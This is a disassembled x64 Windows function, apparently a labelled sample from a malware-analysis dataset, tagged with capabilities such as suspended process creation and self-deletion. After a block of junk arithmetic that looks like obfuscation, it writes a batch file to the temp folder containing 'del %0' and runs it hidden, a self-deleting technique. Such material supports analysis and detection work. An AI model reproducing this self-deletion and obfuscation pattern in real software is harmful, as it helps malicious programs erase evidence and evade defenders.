Function at 0x548000
Capabilities:
Create process on windows
Create process suspended
Get common file path
Self delete

Disassembly:
push rbp
sub rsp, 0x930
mov rbp, rsp
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0x630], 0
nop
add dword [0x00588e9c], 0x4fbf8b54
mov eax, dword [0x00588ea0]
add eax, 0xd98947a2
mov dword [0x00588e98], eax
mov eax, dword [0x00588e94]
add eax, 0xd8af78b
mov dword [0x00588ea8], eax
sub dword [0x00588ea0], 0x526fd5b2
and dword [0x00588e94], 0x6618cc88
mov eax, dword [0x00588e94]
add eax, 0x1ceb0426
mov dword [0x00588ea8], eax
mov ecx, 0x87c9aaca
mov eax, dword [0x00588ea8]
xor edx, edx
div ecx
mov dword [0x00588e98], eax
mov eax, dword [0x00588e98]
xor eax, 0xc70d7987
mov dword [0x00588ea4], eax
add dword [0x00588ea0], 0x7ddfb125
mov eax, dword [0x00588e90]
and eax, 0x604cc0aa
mov dword [0x00588ea0], eax
mov ecx, 0x171ef848
mov eax, dword [0x00588e9c]
xor edx, edx
div ecx
mov dword [0x00588e98], eax
mov eax, dword [0x00588e9c]
add eax, 0x4845615f
mov dword [0x00588ea0], eax
add dword [0x00588ea0], 0x1f705210
add dword [0x00588ea8], 0x4dd0f28f
sub dword [0x00588e98], 0x1f5ad3d6
mov eax, dword [0x00588ea4]
add eax, 0x42795581
mov dword [0x00588e98], eax
mov eax, dword [0x00588ea0]
add eax, 0x8b919fa9
mov dword [0x00588ea8], eax
mov eax, dword [0x00588ea4]
and eax, 0x2ffd8766
mov dword [0x00588e98], eax
mov eax, dword [0x00588e90]
add eax, 0x93cd7b37
mov dword [0x00588e98], eax
mov eax, dword [0x00588e94]
sub eax, 0x54742e40
mov dword [0x00588e9c], eax
mov ecx, 0x87083ac0
mov eax, dword [0x00588e94]
xor edx, edx
div ecx
mov dword [0x00588e90], eax
imul eax, dword [0x00588ea4], 0x93a27ec3
mov dword [0x00588e90], eax
mov eax, dword [0x00588e98]
xor eax, 0x74a1eadf
mov dword [0x00588ea0], eax
mov ecx, 0x24656faa
mov eax, dword [0x00588e90]
xor edx, edx
div ecx
mov dword [0x00588ea4], eax
imul eax, dword [0x00588e98], 0x7cf344a7
mov dword [0x00588e98], eax
mov eax, dword [0x00588e94]
add eax, 0x9ea422e9
mov dword [0x00588e90], eax
and dword [0x00588e98], 0x4b8c60e2
add dword [0x00588ea8], 0x3c0157d3
mov eax, dword [0x00588ea8]
add eax, 0xdae1ae60
mov dword [0x00588ea0], eax
mov eax, dword [0x00588e98]
add eax, 0xcb56a551
mov dword [0x00588ea0], eax
mov eax, dword [0x00588e9c]
xor eax, 0xe1c564bf
mov dword [0x00588ea0], eax
mov eax, dword [0x00588e94]
add eax, 0x6e54e9a5
mov dword [0x00588ea8], eax
mov eax, dword [0x00588e98]
sub eax, 0x4de6b258
mov dword [0x00588e90], eax
mov eax, dword [0x00588e94]
add eax, 0x609a2b7e
mov dword [0x00588ea4], eax
add dword [0x00588e9c], 0x4dbbb5e4
add dword [0x00588e98], 0xc534a08b
mov eax, dword [0x00588e90]
add eax, 0x424e9a9c
mov dword [0x00588e94], eax
add dword [0x00588e94], 0x3c980cf8
mov eax, dword [0x00588ea0]
add eax, 0xda0ac01c
mov dword [0x00588ea8], eax
mov eax, dword [0x00588ea8]
add eax, 0x9d773bbd
mov dword [0x00588e9c], eax
mov eax, dword [0x00588ea0]
xor eax, 0x3548df77
mov dword [0x00588ea8], eax
add dword [0x00588e90], 0x7043c3f9
mov eax, dword [0x00588e98]
add eax, 0xab3ea87b
mov dword [0x00588ea4], eax
mov ecx, pe_nt_image_headers64
lea rdx, [rbp + 0x4b0]
call sub.kernel32.dll_GetTempPathA
lea rcx, [rbp + 0x4b0]
lea rdx, [0x00548724]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x4b0]
lea rdx, [0x00548727]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x4b0]
lea rdx, [0x0054872b]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x630]
lea rdx, [rbp + 0x4b0]
mov r8d, pe_nt_image_headers64
xor r9, r9
call fcn.0040ecc0
lea rcx, [rbp + 0x98]
mov rdx, qword [rbp + 0x630]
call fcn.0040fbf0
lea rcx, [rbp + 0x638]
mov rdx, qword [rbp + 0x98]
xor r8, r8
call fcn.00409ef0
call fcn.00408840
lea rcx, [rbp + 0x638]
call fcn.00409a90
call fcn.00408840
lea rcx, [rbp + 0x638]
lea rdx, [0x0054873c]
call fcn.0040ab00
mov rcx, rax
call fcn.0040ac70
call fcn.00408840
lea rcx, [rbp + 0x88]
xor rdx, rdx
call fcn.00408b80
lea rcx, [rbp + 0x90]
mov edx, 3
lea r8, [0x00548754]
mov r9, qword [rbp + 0x88]
lea rax, [0x0054876c]
mov qword [rsp + 0x20], rax
call fcn.00410020
lea rcx, [rbp + 0x638]
mov rdx, qword [rbp + 0x90]
call fcn.0040ab00
mov rcx, rax
call fcn.0040ac70
call fcn.00408840
lea rcx, [rbp + 0x70]
xor rdx, rdx
call fcn.00408b80
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
xor r8, r8
call fcn.0040f580
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0x68]
call fcn.00546ac0
lea rcx, [rbp + 0x80]
mov edx, 4
lea r8, [0x0054877c]
mov r9, qword [rbp + 0x78]
lea rax, [0x00548790]
mov qword [rsp + 0x20], rax
lea rax, [0x005487a8]
mov qword [rsp + 0x28], rax
call fcn.0040f110
lea rcx, [rbp + 0x638]
mov rdx, qword [rbp + 0x80]
call fcn.0040a900
mov rcx, rax
call fcn.0040ac70
call fcn.00408840
lea rcx, [rbp + 0x58]
xor rdx, rdx
call fcn.00408b80
lea rcx, [rbp + 0x60]
mov edx, 5
lea r8, [0x005487b8]
mov r9, qword [rbp + 0x58]
lea rax, [0x0054876c]
mov qword [rsp + 0x20], rax
lea rax, [0x005487dc]
mov qword [rsp + 0x28], rax
lea rax, [0x005487f4]
mov qword [rsp + 0x30], rax
call fcn.00410020
lea rcx, [rbp + 0x638]
mov rdx, qword [rbp + 0x60]
call fcn.0040ab00
mov rcx, rax
call fcn.0040ac70
call fcn.00408840
mov byte [rbp + 0xaf], 0x64
mov byte [rbp + 0xb0], 0x65
mov byte [rbp + 0xb1], 0x6c
mov byte [rbp + 0xb2], 0x20
mov byte [rbp + 0xb3], 0x25
mov byte [rbp + 0xb4], 0x30
mov byte [rbp + 0xb5], 0
lea rcx, [rbp + 0x638]
lea rdx, [rbp + 0xaf]
call fcn.0040a850
mov rcx, rax
call fcn.0040ac70
call fcn.00408840
lea rcx, [rbp + 0x638]
call fcn.0040a070
call fcn.00408840
lea rcx, [rbp + 0x5b0]
mov edx, 0x68
xor r8, r8
call fcn.0040a0e0
mov dword [rbp + 0x5ec], 1
mov word [rbp + 0x5f0], 0
mov rcx, qword [rbp + 0x630]
call fcn.0040f240
xor rcx, rcx
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0x40
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x618]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x548619
mov rcx, qword [rbp + 0x620]
call sub.kernel32.dll_CloseHandle_1
mov rcx, qword [rbp + 0x618]
call sub.kernel32.dll_CloseHandle_1
nop
lea rcx, [rbp + 0x58]
mov edx, 2
call fcn.0040e110
lea rcx, [rbp + 0x68]
call fcn.0040e080
lea rcx, [rbp + 0x70]
call fcn.0040e030
lea rcx, [rbp + 0x78]
mov edx, 2
call fcn.0040e140
lea rcx, [rbp + 0x88]
mov edx, 3
call fcn.0040e110
lea rcx, [rbp + 0x630]
call fcn.0040e080
lea rsp, [rbp + 0x930]
pop rbp
ret